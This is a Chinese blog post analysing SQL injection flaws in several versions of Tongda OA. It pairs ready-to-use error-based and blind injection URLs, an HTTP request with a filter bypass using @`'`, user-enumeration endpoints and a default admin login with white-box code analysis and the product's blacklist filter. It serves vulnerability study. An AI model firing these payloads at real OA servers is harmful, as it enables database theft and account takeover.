美文网首页安全
网络安全漏洞分析小结

网络安全漏洞分析小结

作者: 顶风作案7号 | 来源:发表于2022-01-23 21:07 被阅读0次

    (一) 前言

    这里感谢师傅前面整理的通达OA一些版本的漏洞复现,这里从漏洞点出发,分析漏洞,从中学些一些师傅白盒挖掘漏洞的思路。

    安装包下载地址,可以通过枚举版本号下载对应的安装包:

    https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe
    https://www.tongda2000.com/download/down.php?VERSION=2019&code=
    

    安装教程为傻瓜式一键安装,这里不细说。
    默认账号密码admin/(空)


    image.png

    【一>所有资源获取<一】
    1、电子书籍(白帽子)
    2、安全大厂内部视频
    3、100份src文档
    4、常见安全面试题
    5、ctf大赛经典题目解析
    6、全套工具包
    7、应急响应笔记
    8、网络安全学习路线

    (二) 信息收集

    一、版本信息

    /inc/expired.php

    image.png
    /inc/reg_trial.php image.png

    /inc/reg_trial_submit.php

    image.png

    二、计算机名

    需要高于2013版本

    /resque/worker.php

    image.png

    三、用户名&邮箱枚举

    需要高于2013版本

    /ispirit/retrieve_pwd.php?username=要枚举的用户

    存在的用户


    image.png

    不存在的用户


    image.png

    (三) 通达OA2013

    一、/interface/ugo.php 报错注入

    漏洞复现

    /interface/ugo.php?OA_USER=a%2527%20and%201=(select%201%20from(select%20count(*),concat((select%20database()),0x7c,user(),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271
    
    image.png

    漏洞分析

    1、首先定位到漏洞点/interface/ugo.php
    使用函数urldecode解析OA_USER,这也是为什么单引号使用**%2527**的原因 然后下面调用ext_login_check方法处理OA_USER

    image.png

    2、全局搜索ext_login_check,在第16、17行看到直接拼接并调用方法exequery执行


    image.png

    3、exequery方法是这样定位的:
    首先ugo.php包含了inc/session.php文件


    image.png

    session.php文件包含了inc/conn.php文件


    image.png

    在conn.php文件中就看到了exequery方法


    image.png

    4、前面简单处理了union select和info outfile和into dumpfile

    if (!$LOG) {
            $POS = stripos($Q, "union");
            if ($POS !== FALSE && stripos($Q, "select", $POS) !== FALSE) {
                exit;
            }
            $POS = stripos($Q, "into");
            if ($POS !== FALSE && (stripos($Q, "outfile", $POS) !== FALSE || stripos($Q, "dumpfile", $POS) !== FALSE)) {
                exit;
            }
        }
    

    5、在这里执行了sql语句


    image.png

    二、/interface/auth.php 报错注入

    漏洞复现

    思路还是比较简单的。

    /interface/auth.php?&PASSWORD=1&USER_ID=%df%27 and (select 1 from (select count(*),concat((select concat(0x3a,(select database()) ,0x3a) from user limit 1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23
    
    image.png

    漏洞分析

    1、根据URL定位漏洞点/interface/auth.php


    image.png

    2、关键代码截取下来了,很明显这里加了过滤,将一些字符替换为空,所以无法利用。

    //替换为空
    $USER_ID = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $USER_ID);
    //检测传参是否非空,空的话exit
    if ($USER_ID == "" || $PASSWORD == "") {
        message("", _("»¥Áª»¥Í¨·ÃÎʽӿڵÄÓû§Ãû»òÃÜÂëÓÐÎó"));
        exit;
    }
    //直接拼接USER_ID
    $query = "select * from EXT_USER where USER_ID='" . $USER_ID . "'";
    //调用exequery执行
    $cursor = exequery($connection, $query);
    

    三、/interface/go.php 报错注入

    漏洞复现

    emm。。同上,我这里已经无法复现了

    interface/go.php?APP_UNIT=a%2527 and 1=(select 1 from(select count(*),concat(database(),0x7c,user(),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) and %25271%2527=%25271
    
    image.png

    漏洞分析

    1、根据URL定位漏洞点/interface/go.php


    image.png

    2、OA_USER和APP_UNIT都进行了过滤

    //过滤单引号等字符,替换为空
    $OA_USER = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $OA_USER);
    $APP_UNIT = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $APP_UNIT);
    //直接拼接APP_UNIT
    $query = "select MEMBER_ID from CONNECT_CONFIG where MEMBER_NAME='" . $APP_UNIT . "'";
    //调用exequery方法执行
    $cursor = exequery($connection, $query);
    

    3、jdr师傅是复现了APP_UNIT参数的SQL注入,然后这里往下看,可以看到OA_USER与/interface/ugo.php中的一样,在下面调用了ext_login_check方法

    if ($OA_USER == "admin") {
        echo _("¸ÃÕʺÅÎÞȨ·ÃÎÊ");
        exit;
    }
    session_start();
    ob_start();
    if ($LOGIN_USER_ID != $OA_USER) {
        include_once "./auth.php";
        $result = ext_login_check($OA_USER);
        if ($result != "1") {
            echo $result;
            exit;
        }
    }
    

    而ext_login_check方法是没有过滤的,所以,理论上,旧版本在/interface/go.php?OA_USER=应该也会有注入。


    image.png

    (四) 通达OA2015

    一、/ispirit/retrieve_pwd.php 盲注

    漏洞复现

    1、判断是否存在注入

    /ispirit/retrieve_pwd.php?_GET[username]=admin'or 1=1 and'a'='a

    image.png

    2、判断数据库长度为5

    /ispirit/retrieve_pwd.php?_GET[username]=admin' or if((length(database())=5),1,power(88888,88)) and'a'='a

    image.png image.png

    3、判断数据库是否为td_oa

    /ispirit/retrieve_pwd.php?_GET[username]=admin'or if((database()='td_oa'),1,power(888888,88))and'a'='a

    image.png image.png

    漏洞分析

    这里代码没找到旧版本的,就理性分析一下。
    1、根据URL定位漏洞点/ispirit/retrieve_pwd.php


    image.png

    2、前面看到请求了2个参数username和email,然后username直接拼接

    <?phpinclude_once "inc/conn.php";include_once "inc/utility_all.php";//get请求$username = $_GET["username"];$email = $_GET["email"];//直接拼接username$query = "SELECT UID,USER_ID,USER_NAME,USEING_KEY FROM USER WHERE BYNAME='{$username}'";//调用exequery执行$cursor = exequery(TD::conn(), $query);
    

    3、定位exequery方法,在inc/conn.php中


    4、首先看exequery方法,调用了db_query方法

    function exequery($C, $Q, $QUERY_MASTER = false, $LOG = true)
    {
        $cursor = @db_query($Q, $C, $QUERY_MASTER);
        if (!$cursor) {
            printerror("<b>" . _("SQL") . "</b> " . $Q, $LOG);
        }
        return $cursor;
    }
    

    5、然后看db_query方法,第一行就调用sql_injection进行了检测是否存在SQL注入。往下可以看到还有一些其他检测如select和set的,这里推测应该是在一定基础上进行了一次绕过,然后就直接加了sql_injection方法在前面。

    function db_query($Q, $C, $QUERY_MASTER = false)
    {
        sql_injection($Q, "'");
        if (MYOA_DB_USE_REPLICATION && ($QUERY_MASTER || strtolower(substr(ltrim($Q), 0, 6)) != "select" && strtolower(substr(ltrim($Q), 0, 3)) != "set")) {
            if ($C == TD::$_res_conn && $C != TD::$_res_conn_master) {
                if (!is_resource(TD::$_res_conn_master)) {
                    TD::$_res_conn_master = openconnection(TD::$_arr_db_master, TD::$_arr_db_master["db"]);
                }
                $C = TD::$_res_conn_master;
            } else {
                if ($C == TD::$_res_conn_crscell && $C != TD::$_res_conn_crscell_master) {
                    if (!is_resource(TD::$_res_conn_crscell_master)) {
                        TD::$_res_conn_crscell_master = openconnection(TD::$_arr_db_master, TD::$_arr_db_master["db_crscell"]);
                    }
                    $C = TD::$_res_conn_crscell_master;
                }
            }
        }
        return @mysql_query($Q, $C);
    }
    

    6、跟进到sql_injection方法,代码有点长,其实就是进行了黑名单校验。


    image.png
    $clean = trim(strtolower(preg_replace(array("~\\s+~s"), array(" "), $clean)));
    if (strpos($clean, "union") !== false && preg_match("~(^|[^a-z])union(\$|[^[a-z])~s", $clean) != 0) {
    if (2 < strpos($clean, "/*") || strpos($clean, "--") !== false || strpos($clean, "#") !== false) {
    if (strpos($clean, "sleep") !== false && preg_match("~(^|[^a-z])sleep(\$|[^[a-z])~s", $clean) != 0) {
    if (strpos($clean, "benchmark") !== false && preg_match("~(^|[^a-z])benchmark(\$|[^[a-z])~s", $clean) != 0) {
    if (strpos($clean, "load_file") !== false && preg_match("~(^|[^a-z])load_file(\$|[^[a-z])~s", $clean) != 0) {
    if (strpos($clean, "cast") !== false && preg_match("~(^|[^a-z])mid(\$|[^[a-z])~s", $clean) != 0) {
    if (strpos($clean, "ord") !== false && preg_match("~(^|[^a-z])ord(\$|[^[a-z])~s", $clean) != 0) {
    if (strpos($clean, "ascii") !== false && preg_match("~(^|[^a-z])ascii(\$|[^[a-z])~s", $clean) != 0) {
    if (strpos($clean, "extractvalue") !== false && preg_match("~(^|[^a-z])extractvalue(\$|[^[a-z])~s", $clean) != 0) {
    if (strpos($clean, "updatexml") !== false && preg_match("~(^|[^a-z])updatexml(\$|[^[a-z])~s", $clean) != 0) {
    if (strpos($clean, "into outfile") !== false && preg_match("~(^|[^a-z])into\\s+outfile(\$|[^[a-z])~s", $clean) != 0) {
    if (strpos($clean, "exp") !== false && preg_match("~(^|[^a-z])exp(\$|[^[a-z])~s", $clean) != 0) {
    if (stripos($db_string, "update") !== false && stripos($db_string, "user") !== false && stripos($db_string, "set") !== false && stripos($db_string, "file_priv") !== false) {
    

    (五) 通达OA2017

    一、/general/document/index.php/setting/keywords/index 布尔盲注

    漏洞复现

    数据包如下:

    POST /general/document/index.php/setting/keywords/index HTTP/1.1
    Host: 10.211.55.3
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=gdtugivsnejrt9l9um0v48dou7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=429762af; UI_COOKIE=0; LOGIN_LANG=cn
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 80
    
    _SERVER[QUERY_STRING]=kname=1'+and@`'`+or+if(substr(user(),1,1)='r',1,exp(710))#
    

    1、当数据库用户名第一个为r时,页面返回正常


    image.png

    2、用户名前4位,不为rooq,页面报错


    image.png

    为root时页面正常


    image.png

    漏洞分析

    1、根据请求定位漏洞点general/document/index.php
    [图片上传中...(image.png-9c661f-1642860268114-0)]

    2、这里很明显,开始引用框架了,大概看出来是在\webroot\inc\td_framework\core\Framework.php文件中
    简单理解一下其实跟tp框架差不多,就是controllers/文件/方法这样的。


    image.png

    3、因为payload路径为/general/document/index.php/setting/keywords/index,所以定位到文件:\webroot\general\document\controllers\setting\keywords.php的index方法。

    image.png

    7、定位到\webroot\general\document\models\mkeyword.php的get_keywords_count方法

    image.png

    10、于是我在框架所在的目录下的libraris目录下,发现了database.php,在169行,成功发现了query方法


    image.png

    image.png

    14、_prep_query方法进行了一些delete的过滤

    image.png

    18、然后,我就好奇了为什么需要在里面加上

    @`'`
    

    19、尝试fuzz一下,发现,如果没有多一个单引号,关键字会被检测出来

    _SERVER[QUERY_STRING]=category=1'+and@``+or+if(substr(user(),1,4)='root',1,exp(710))#
    

    image.png

    20、这里就很明显发现了大佬们bypass的一个思路,首先通过单引号跳过了检测的代码,然后又通过@和反引号,使后面的语句成功执行。
    我将sql语句放到数据库中执行,发现不会报错


    image.png

    但是如果删掉@,就报错了,因为多了个单引号


    image.png

    21、通过查阅资料我了解到了,mysql中的@表示设置一个变量,而``反引号则是转义符,这里是通过设置一个反引号的变量来绕过过滤。真的觉得太强了。
    回到过滤的sql_injection方法,可以看到就是这里导致了存在绕过

    image.png

    23、因为后面的过滤都是过滤clean,而这里很明显看到,clean已经被@'截断了,所以绕过了
    经过调试分析代码,我理解了,在原来的获取注入点检测的逻辑,是将单引号里面的值替换为s,所以正常的SQL语句提取结果应该是:

    select count(*) as total from doc_keywords where 1=1 and category='1' and or if(substr(user(),1,4)='root',1,exp(710))#'
    

    1、找第1、2个单引号

    select count(*) as total from doc_keywords where 1=1 and category='1'

    2、找第3、4个单引号

    and or if(substr(user(),1,4)='root'

    image.png

    24、再看看加了单引号之后的效果

    select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or if(substr(user(),1,4)='root',1,exp(710))#'
    ```
    #1、找第1、2个单引号
    `select count(*) as total from doc_keywords where 1=1 and category='1'`
    
    #2、找第3、4个单引号
    ` '` or if(substr(user(),1,4)='`
    
    #3、第5个单引号后面到注释符前都没有单引号,所以不构成一对,不进行拼接
    
    ![image.png](https://img.haomeiwen.com/i26472780/c8c27f380356d060.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
    
    搞懂了,瞬间觉得师傅们的思路太强了。
    

    相关文章

      网友评论

        本文标题:网络安全漏洞分析小结

        本文链接:https://www.haomeiwen.com/subject/bmauhrtx.html